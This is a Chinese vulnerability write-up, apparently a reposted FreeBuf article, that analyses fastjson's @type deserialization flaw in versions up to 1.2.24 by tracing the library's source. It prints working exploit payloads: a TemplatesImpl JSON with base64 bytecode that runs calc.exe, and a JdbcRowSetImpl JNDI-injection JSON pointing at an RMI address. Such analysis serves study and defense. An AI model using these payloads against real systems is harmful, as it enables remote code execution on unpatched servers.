fastjson全版本漏洞深度剖析
Fastjson是Java库,用于将Java对象转换为JSON格式或反之。文章介绍了其功能、使用方法及漏洞。Fastjson<=1.2.24存在反序列化漏洞,攻击者可通过@type字段指定恶意类,在反序列化过程中触发远程代码执行或JNDI注入等攻击。修复建议包括升级到安全版本、禁用@type字段及限制敏感类加载。 2025-10-9 10:58:15 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

fastjson基础

简介

Fastjson是一个Java库,可以将Java对象转换为JSON格式,也可以将JSON字符串转换为Java对象。Fastjson可以操作任何Java对象,即使是一些预先存在的没有源码的对象。

指纹特征

任意抓包,改为POST请求,格式改为application/json,请求体为{不闭合,返回包会出现fastjson字样。当然也可能是无回显

导入依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

Demo

public class test {
    public int age;
    public String name;

    public test(int age, String name) {
        this.age = age;
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }
}
  • 将类转换为JSON
    fastjson提供了JSONObject(fastJson提供的json对象)和JSONArray(fastJson提供的json数组对象)对象,JSON对象提供了toJSONString静态方法将对象转化为JSON字符串

test test = new test(18, "B1uel0n3");
String json= JSON.toJSONString(test);
System.out.println(json);
//{"age":18,"name":"B1uel0n3"}

json中主要包含对象的属性和值

  • 将json转化为类
    JSON对象提供parse、parseObject、parseArray方法供用户进行反序列化转化成对象
    区别:

方法返回值类型适用场景
parse动态类型(对象/数组/基本类型)通用解析,不确定JSON结构时
parseObject特定对象类型需要强类型验证和对象映射时
parseArray对象列表/数组处理JSON数组到对象集合时
test newtest= JSON.parseObject(json, test.class);       System.out.println(newtest.getAge());
//18

注意,待转换JSON对应的类需要有无参构造函数,不然转换时会报错:

public test(){}

同时需要注意:在调用转换后的对象的getter方法,如果类没有定义setter方法,那就会返回默认值
猜测转换的大致流程就是:通过Class对象进行实例化,调用无参构造函数,通过setter方法设置值,这样转换后的对象就能封装有原本对象属性和对应值了

@JSONField注解

可以利用该注解自定义输出,包括控制字段排序、序列化标记等:

@JSONField(name="AGE", serialize=true,ordinal=2)
private int age;

生成结果:

image.png

  • format参数用于格式化 date属性。

  • 默认情况下, FastJson 库可以序列化 Java bean 实体, 但我们可以使用 serialize指定字段不序列化。

  • 使用 ordinal参数指定字段的顺序

作用对象:

  • Field

  • Setter 和 Getter 方法

注意:FastJson在进行操作时,是跟进getter和setter方法进行的,并不是根据Field进行。若属性是私有的,必须有set方法,否则无法反序列化。

转化过程分析

我这里用的是fastjson1.2.24的源码

对象转化为json

在JSON.toJSONString下断点:
image.png

调用了它的一个重载方法,跟进:

image.png

image.png

实例化了一个JSONSerializer对象,随后调用了它的write方法

image.png

方法中,先获取对象的Class,调用getObjectWriter方法,获取对应的序列化器,跟进:
image.png

image.png

方法下又会调用到SerializeConfig#getObjectWriter方法

image.png

先尝试获取writer,是一个ObjectSerializer对象。

然后对获取到要转换对象的Class进行一系列判断,大致就是先找序列化器,然后再按对象类型匹配处理

image.png

image.png

最后判断create是否为true,我们传入的时候默认为true,所以会进入if语句,跟进createJavaBeanSerializer方法:
image.png

先就是获取BeanInfo,其中会获取到类中定义的字段、方法、注解等元数据

调用另一个重载方法,方法下返回JavaBeanSerializer对象

image.png

回到JSONSerializer#write,获取了对应序列化器后调用write方法开始进行序列化并转化为JSON:
image.png

image.png

具体的流程就在ASMSerializer_1_test#write方法中,这里跟不了就不跟了

主要逻辑就是跟进getter方法获取变量的值然后按照一定规则进行字符串拼接字符串,但这个输出对象并不是String,所以toJSONString方法最后调用其toString方法返回

也就是说如果没有实现getter方法,是没有办法成功将该属性的信息也写进json中

json转换为对象

以parseObject其中一个重载方法为例:

JSON.parseObject(JSON.toJSONString(test), test.class);

image.png

继续跟进重载方法:

image.png

image.png

先实例化DefaultJSONParser用于解析JSON字符串,随后调用parseObject方法

跟进parseObject方法注意到下面这段代码:

image.png

config.getDeserializer方法用于获取反序列化器,这里获取到的是JavaBeanDeserializer对象,

deserialze方法实现将JSON转化成Java对象

image.png

跟进deserialze发现最后会调用FastjsonASMDeserializer_1_test#deserialze方法

其逻辑就是先解析JSON,处理{开始的对象,最后根据字段调用setter方法为实例化的对象添加属性值

JSON字符串 
→ 词法分析(lexer.nextToken) 
→ 识别对象开始({) 
→ 循环解析字段名和值 
→ 根据字段名调用对应setter方法 
→ 返回完整对象实例

反序列化后接着回到JSON#parseObject方法,最后还调用parser.handleResovleTask(value);

image.png

而在这个方法中,同样调用了对象的setter方法来设置字段值

那这不就奇怪了吗,明明在进行反序列化时才调用了对象的setter为实例对象添加属性值,这里又来

其实这是因为他们分工明确,比如一个循环引用的JSON:

// 例如这样的JSON结构
{
  "name": "parent",
  "child": {
    "name": "child",
    "parent": {"$ref": "$"}  // 引用根对象
  }
}

FastjsonASMDeserializer_1_test#deserialze反序列化创建对象时遇到引用而引用的目标对象可能还未创建,所以只能处理JSON中常规字段和值,而parser.handleResovleTask(value);负责引用的解析,处理引用字段

也就是说在调用JSON.parseObject(JSON.toJSONString(test), test.class);转化过程中会调用setter方法

@type

这里分析几个重要的反序列化为Java对象的重载方法,也是解释fastjson漏洞的关键,即为什么设置@type字段值能造成远程代码执行漏洞

JSON.parse(String text)

JSON解析入口:

image.png

但该方法仅接受一个参数就是传入的JSON字符串。在前面我们分析JSON转化为Java对象中,在反序列化时,需要将json与相应的对象的Class进行绑定,以告诉fastjson要还原成哪个对象。

而该方法并没有进行绑定,那么这个方法是如何识别要还原成什么对象呢?

String jsonString = JSON.toJSONString(test);
Object newtest = JSON.parse(jsonString);

跟进下代码:
image.png

一样先实例化DefaultJSONParser用于解析JSON字符串

随后调用DefaultJSONParser#parse方法将JSON字符串解析成Java对象,跟进一下:
image.png

这里解析我们传入的JSON,当匹配到左花括号时创建JSONObject实例并调用parseObject方法

跟进DefaultJSONParser#parseObject方法:
image.png

该方法主要用于解析JSON对象,其中包括处理不同类型的键,主要关注下面代码:

image.png

image.png

这个key即我们对象属性的键名,即当变量的键值对中,如果键为@type,那么就会通过TypeUtils.loadClass方法获取对应值的Class对象,实际还是利用Class.forName方法,fastjson就是通过这种方法确定对象类型的

image.png

随后在确定了对象类型后就会获取反序列化器再进行反序列化,后面的过程就一样的了

所以说如果我们传入JSON中含有@type,那么fastjson就会去加载这个类,随后在反序列化时会先创建实例,随后利用setter方法设置字段的值

注意如果没有@type则不会反序列化

如果你想序列化的json带有@type,可以添加指定Feature

String jsonString = JSON.toJSONString(test, SerializerFeature.WriteClassName);
//{"@type":"org.example.fastjson.Person","age":19,"name":"B1uel0n3"}

所以说如果想要实现触发恶意类造成代码执行,可以从两个方面入手,第一个方面就是恶意类在实例化时就能触发链子,第二方面就是在调用getter方法触发

JSON.parseObject(String text)

类似的还有一个JSON.parseObject(String text)方法,被称为基础解析入口,是parseObject的一个重载方法

image.png

调用parse方法,跟前面一样这里就是漏洞触发的原因

往下看:

因为没有绑定java对象,会通过@type来加载对象,如果没有设置@type那返回的就是JSONObject对象,如果设置了,就会往下调用JSON.toJSON方法

这里我们默认设置了**@type值**,注意此时的obj是一个java对象,跟进JSON.toJSON方法:
image.png

他会先判断对象的类型,然后获取序列化器,随后通过对象的getter方法获取值并转换为JSON格式存入JSONObject对象中,然后将JSONObject对象转化为JSON再调用parse方法

整体的逻辑就是在JSON.parse(String text)的基础上统一了输出java对象的格式为JSONObject格式

总的来说调用JSON.parseObject(String text)方法会导致@type所指定的对象的getter和setter方法都会被调用,且是先调用setter再调用getter

Feature

  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

test newtest = JSON.parseObject(json, test.class, Feature.SupportNonPublicField);
  • 序列化时指定Feature为SerializerFeature.WriteClassName,可输出@type

String jsonString = JSON.toJSONString(test, SerializerFeature.WriteClassName);
//{"@type":"org.example.fastjson.Person","age":19,"name":"B1uel0n3"}

fastjson<=1.2.24反序列化漏洞

漏洞成因

fastjson默认使用@type指定反序列化任意类,攻击者可通过Java环境寻找构造恶意类,再通过反序列化过程中去调用其中的getter/setter方法,形成恶意调用链。

影响版本:fastjson<=1.2.24

环境搭建

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

TemplatesImpl反序列化

前面分析转换过程时我们知道可以从两方面进行切入,一方面是在实例化时触发我们的恶意链子,另一方面是通过getter/setter方法触发

这里很容易想到TemplatesImpl#getOutputProperties方法,我们可通过TemplatesImpl的这个getter方法来加载字节码

而要调用getter方法只能用我们的JSON.parseObject(String text)触发,因为JSON.parse(String tesxt)过程中只用了setter方,同时JSON.parseObject(String text)需要该对象有setter和getter方法,而TemplatesImpl并没有setter方法

这里我们可以想到Feature.SupportNonPublicField:

JSON.parseObject(text,Feature.SupportNonPublicField);

回顾TemplatesImpl加载恶意字节码的条件:

  • _name不能为空

  • _tfactory默认为null,需要为一个TransformerFactoryImpl对象

  • _class为null

  • _bytecodes为我们的恶意字节码

payload:

String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";

image.png

这有个疑问,为什么我们传入字节码为base64编码后的代码依然能够谈计算机呢?

这是因为解析JSON时遇到字节数组时调用了com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,调用栈:

image.png

同样序列化时也会进行base64编码

而网上的payload并没有对_tfactory变量进行设置:

'_tfactory':{ }

这是因为如果json字符串没有对变量进行赋值,fastjson会通过变量类型,通过获取类型对象的无参构造方法进行实例化,作为默认值。

所以payload也可以是:

String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}";

弊端:需要设置Feature.SupportNonPublicField

JdbcRowSetImpl反序列化

定位到com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法:
image.png

image.png

con默认为null调用connect方法:
image.png

这里不就发现了熟悉的面孔嘛

this.getDataSourceName()不为null时会调用一次JNDI请求,且请求的地址就是this.getDataSourceName()

所有我们只用控制this.getDataSourceName()的值那么在调用setter方法时就能触发JNDI注入

观察它的setter方法:
image.png

会调用父类的setter方法:
image.png

父类的setDataSourceName方法就是对DataSource进行赋值

所以this.getDataSourceName()的值是可控的,当我们传入DataSourceName值时会先调用getter方法获取恶意地址,然后调用setAutoCommit方法触发JNDI注入,POC:

String text = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", " +
"\"dataSourceName\":\"rmi://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

注意由于parseObject会调用所有的setter和getter方法,而setAutoCommit方法中需要给AutoCommit一个布尔值,同时注意pay


文章来源: https://www.freebuf.com/articles/vuls/451895.html
如有侵权请联系:admin#unsafe.sh